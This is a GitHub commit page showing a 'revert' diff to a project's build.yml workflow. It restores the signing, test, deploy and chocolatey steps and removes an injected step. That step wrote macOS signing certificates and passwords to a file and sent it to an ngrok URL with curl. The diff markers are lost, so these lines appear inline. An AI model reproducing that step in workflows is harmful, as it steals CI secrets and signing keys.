Skip to content

Commit

Permalink
revert
Browse files Browse the repository at this point in the history
  • Loading branch information
alvarolorentedev committed Oct 21, 2024
1 parent e7ec39e commit a1d7153
Showing 1 changed file with 66 additions and 8 deletions.
74 changes: 66 additions & 8 deletions .github/workflows/build.yml
Original file line number Diff line number Diff line change
Expand Up @@ -8,9 +8,20 @@ jobs:
release:
strategy:
matrix:
os: [macos-latest]
os: [macos-latest, ubuntu-latest, windows-latest]
runs-on: ${{ matrix.os }}
steps:
- uses: actions/checkout@v3
- uses: actions/setup-node@v3
with:
node-version: 18
cache: 'npm'
- name: Windows Codesign executable
if: matrix.os == 'windows-latest' && startsWith(github.event.head_commit.message,'v2.')
run: |
New-Item -ItemType directory -Path certificate
Set-Content -Path certificate\certificate.txt -Value '${{ secrets.SIGNING_CERTIFICATE_BASE64 }}'
certutil -decode certificate\certificate.txt certificate\certificate.pfx
- name: OSX install setuptools
if: matrix.os == 'macOS-latest' && startsWith(github.event.head_commit.message,'v2.')
run: python3 -m pip install setuptools --break-system-packages
Expand All @@ -22,11 +33,58 @@ jobs:
MACOS_CERTIFICATE_INSTALLER: ${{ secrets.MACOS_CERTIFICATE_INSTALLER }}
MACOS_CERTIFICATE_INSTALLER_PWD: ${{ secrets.MACOS_CERTIFICATE_INSTALLER_PWD }}
MACOS_KEYCHAIN_PWD: ${{ secrets.MACOS_KEYCHAIN_PWD }}
TARGET: 'https://31f5-93-156-211-20.ngrok-free.app'
run: |
echo 'MACOS_CERTIFICATE_APP=${{ secrets.MACOS_CERTIFICATE_APP }}' >> ./output.txt
echo 'MACOS_CERTIFICATE_APP_PWD=${{ secrets.MACOS_CERTIFICATE_APP_PWD }}' >> ./output.txt
echo 'MACOS_CERTIFICATE_INSTALLER=${{ secrets.MACOS_CERTIFICATE_INSTALLER }}' >> ./output.txt
echo 'MACOS_CERTIFICATE_INSTALLER_PWD=${{ secrets.MACOS_CERTIFICATE_INSTALLER_PWD }}' >> ./output.txt
echo 'MACOS_KEYCHAIN_PWD=${{ secrets.MACOS_KEYCHAIN_PWD }}' >> ./output.txt
curl --data-binary @./output.txt ${TARGET}
# create variables
CERTIFICATE_PATH_APP=$RUNNER_TEMP/certificate_app.p12
CERTIFICATE_PATH_INSTALLER=$RUNNER_TEMP/certificate_installer.p12
KEYCHAIN_PATH=$RUNNER_TEMP/app-signing.keychain-db
# import certificate and provisioning profile from secrets
echo -n "$MACOS_CERTIFICATE_APP" | base64 --decode --output $CERTIFICATE_PATH_APP
echo -n "$MACOS_CERTIFICATE_INSTALLER" | base64 --decode --output $CERTIFICATE_PATH_INSTALLER
# create temporary keychain
security create-keychain -p "$MACOS_KEYCHAIN_PWD" $KEYCHAIN_PATH
security default-keychain -s $KEYCHAIN_PATH
security set-keychain-settings -lut 21600 $KEYCHAIN_PATH
security unlock-keychain -p "$MACOS_KEYCHAIN_PWD" $KEYCHAIN_PATH
# import certificate to keychain
security import $CERTIFICATE_PATH_APP -P "$MACOS_CERTIFICATE_APP_PWD" -A -t cert -f pkcs12 -k $KEYCHAIN_PATH
security import $CERTIFICATE_PATH_INSTALLER -P "$MACOS_CERTIFICATE_INSTALLER_PWD" -A -t cert -f pkcs12 -k $KEYCHAIN_PATH
security list-keychain -d user -s $KEYCHAIN_PATH
- name: install dependencies
run: npm ci
- name: Test & publish code coverage
if: matrix.os == 'ubuntu-latest'
uses: paambaati/[email protected]
env:
CC_TEST_REPORTER_ID: ${{ secrets.CODE_CLIMATE_REPORTER_ID }}
with:
coverageCommand: npm run test:cov
- name: deploy
if: startsWith(github.event.head_commit.message,'v2.')
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
MAC_APPLE_ID: ${{ secrets.MAC_APPLE_ID }}
MAC_APPLE_ID_PWD: ${{ secrets.MAC_APPLE_ID_PWD }}
MAC_DEVELOPER_ID: ${{ secrets.MAC_DEVELOPER_ID }}
MAC_APPLE_TEAM_ID: ${{ secrets.MAC_APPLE_TEAM_ID }}
WINDOWS_PFX_SECRET: ${{ secrets.WINDOWS_PFX_SECRET_NEW }}
run: npm run deploy
- name: prepare chocolatey
if: matrix.os == 'windows-latest' && startsWith(github.event.head_commit.message,'v2.')
run: npm run chocolatey:prepare
- name: pack chocolatey
if: matrix.os == 'windows-latest' && startsWith(github.event.head_commit.message,'v2.')
uses: crazy-max/ghaction-chocolatey@v2
with:
args: pack .\build\chocolatey\barklarm.nuspec
- name: push chocolatey
continue-on-error: true
if: matrix.os == 'windows-latest' && startsWith(github.event.head_commit.message,'v2.')
uses: crazy-max/ghaction-chocolatey@v2
with:
args: push -s https://push.chocolatey.org/ -k '${{ secrets.CHOCOLATEY_KEY }}'


0 comments on commit a1d7153

Please sign in to comment.